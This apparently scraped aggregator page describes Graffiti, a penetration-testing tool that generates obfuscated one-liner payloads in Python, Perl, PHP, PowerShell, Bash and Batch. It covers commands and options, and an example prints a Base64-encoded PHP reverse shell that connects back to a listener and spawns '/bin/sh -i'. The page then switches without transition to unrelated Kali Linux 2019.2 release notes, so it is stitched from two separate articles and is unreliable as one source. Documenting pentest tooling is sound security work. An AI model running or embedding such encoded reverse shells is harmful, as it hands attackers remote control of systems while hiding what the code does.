Graffiti – A Tool To Generate Obfuscated One Liners To Aid In Penetration Testing

NOTE: Never upload payloads to online checkers
Graffiti is a tool to generate obfuscated oneliners to aid in penetration testing ^(https://www.appmarsh.com/link/https://www.kitploit.com/search/label/Penetration%20Testing) situations. Graffiti accepts the following languages for encoding:

  • Python
  • Perl
  • Batch
  • Powershell
  • PHP
  • Bash

Graffiti will also accept a language that is not currently on the list and store the oneliner into a database.

Features
Graffiti comes complete with a database that will insert each encoded payload ^(https://www.appmarsh.com/link/https://www.kitploit.com/search/label/Payload) into it, in order to allow end users to view already created payloads for future use. The payloads can be encoded using the following techniques:

  • Xor
  • Base64
  • Hex
  • ROT13
  • Raw

Some features of Graffiti include:

  • Terminal drop in access, with the ability to run external commands
  • Ability to create your own payload JSON files
  • Ability to view cached payloads inside of the database
  • Ability to run the database in memory for quick deletion
  • Terminal history and saving of terminal history
  • Auto tab completion inside of terminal
  • Ability to securely wipe the history files and database file
  • Multiple encoding techniques as mentioned above

Usage
Graffiti comes with a builtin terminal, when you pass no flags to the program it will drop into the terminal. The terminal has history, the ability to run external commands, and it’s own internal commands. In order to get help, you jsut have to type help or ?:

 ________              _____  _____.__  __  .__ 
/ _____/___________ _/ ____/ ______|/ |_|__|
/ ___ __ __ \ __\ __| __ |
_ | // __ | | | | | || | | |
______ /__| (____ /__| |__| |__||__| |__|
/ /
v(0.1)

no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal
[email protected]:~/graffiti# ?

Command Description
--------- --------------
help/? Show this help
external List available external commands
cached Display all payloads that are already in the database
list/show List all available payloads
search Search for a specific payload
use Use this payload and encode it using a specified coder
info Get information on a specified payload
check Check for updates
history Display command history
exit/quit Exit the terminal and running session
encode Encode a provided payload

[email protected]:~/graffiti# help

Command Description
--------- --------------
help/? Show this help
external List available external commands
cached Display all payloads that are already in the database
list/show List all available payloads
search Search for a specific payload
use Use this payload and encode it using a specified coder
info Get information on a specified payload
check Check for updates
history Display command history
exit/quit Exit the terminal and running session
encode Encode a provided payload

Graffiti also comes with command line ^(https://www.appmarsh.com/link/https://www.kitploit.com/search/label/Command%20Line) arguments for when you need a payload encoded quickly:

usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
[--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
[-l]
[-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
[-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
[-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]]

optional arguments:
-h, --help show this help message and exit
-c CODEC, --codec CODEC
specify an encoding technique (*default=None)
-p PAYLOAD, --payload PAYLOAD
pass the path to a payload to use (*default=None)
--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
create a payload file and store it inside of
./etc/payloads (*default=None)
-l, --list list all available payloads by path (*default=False)
-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
pass your own personal payload to use for the encoding
(*default=None)
-lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
pass a listening address to use for the payload (if
needed) (*default=None)
-lP LISTENING-PORT, --lport LISTENING-PORT
pass a listening port to use for the payload (if
needed) (*default=None)
-u URL, --url URL pass a URL if needed by your payload (*default=None)
-vC, --view-cached view the cached data already present inside of the
database
-H, --no-history do not store the command history (*default=True)
-W, --wipe wipe the database and the history (*default=False)
--memory initialize the database into memory instead of a .db
file (*default=False)
-mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
pass more external commands, this will allow them to
be accessed inside of the terminal commands must be in
your PATH (*default=None)

Encoding a payload is simple as this:

[email protected]:~/graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065
Encoded Payload:
--------------------------------------------------

php -r 'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'

--------------------------------------------------

A demo of Graffiti can be found here:

Installation
On any Linux, Mac, or Windows ^(https://www.appmarsh.com/link/https://www.kitploit.com/search/label/Windows) system, Graffiti should work out of the box without the need to install any external packages. If you would like to install Graffiti as an executable onto your system (you must be running either Linux or Mac for it to work successfully), all you have to do is the following:

./install.sh

This will install Graffiti into your system and allow you to run it from anywhere.

Bugs and issues
If you happen to find a bug or an issue, please create an issue with details here ^(https://www.appmarsh.com/link/https://github.com/Ekultek/Graffiti/issues) and thank you ahead of time!

Download Graffiti ^(https://www.appmarsh.com/link/https://github.com/Ekultek/Graffiti)

Kali Linux 2019.2 Release – Penetration Testing and Ethical Hacking Linux Distribution

This release brings the kernel up to version 4.19.28, fixes numerous bugs, includes many updated packages, and most excitingly, features a new release of Kali Linux NetHunter!
NetHunter ^(https://www.appmarsh.com/link/https://www.offensive-security.com/kali-linux-nethunter-download/) page.

Tool Upgrades


This release largely features various tweaks and bug fixes but there are still many updated tools including seclists ^(https://www.appmarsh.com/link/http://pkg.kali.org/pkg/seclists), msfpc ^(https://www.appmarsh.com/link/http://pkg.kali.org/pkg/msfpc), and exe2hex ^(https://www.appmarsh.com/link/http://pkg.kali.org/pkg/exe2hexbat).
For the complete list of updates, fixes, and additions, please refer to the Kali Bug Tracker Changelog ^(https://www.appmarsh.com/link/https://bugs.kali.org/changelog_page.php).

ARM Updates


For the ARM users, be aware that the first boot will take a bit longer than usual, as it requires the reinstallation of a few packages on the hardware. This manifests as the login manager crashing a few times until the packages finish reinstalling and is expected behaviour.

Upgrade to Kali Linux 2019.2


If you already have a Kali installation you’re happy with, you can easily upgrade in place as follows.
[email protected]:~# apt update && apt -y full-upgrade

Ensuring your Installation is Updated


To double check your version, first make sure your Kali package repositories ^(https://www.appmarsh.com/link/https://docs.kali.org/general-use/kali-linux-sources-list-repositories) are correct.
[email protected]:~# cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main non-free contrib

Then after running ‘apt -y full-upgrade’, you may require a ‘reboot’ before checking:

[email protected]:~# grep VERSION /etc/os-release
VERSION="2019.2"
VERSION_ID="2019.2"

[email protected]:~# uname -a
Linux kali 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux

If you come across any bugs in Kali, please open a report on our bug tracker ^(https://www.appmarsh.com/link/https://bugs.kali.org/main_page.php)
Download Kali Linux 2019.2 ^(https://www.appmarsh.com/link/https://www.kali.org/downloads/)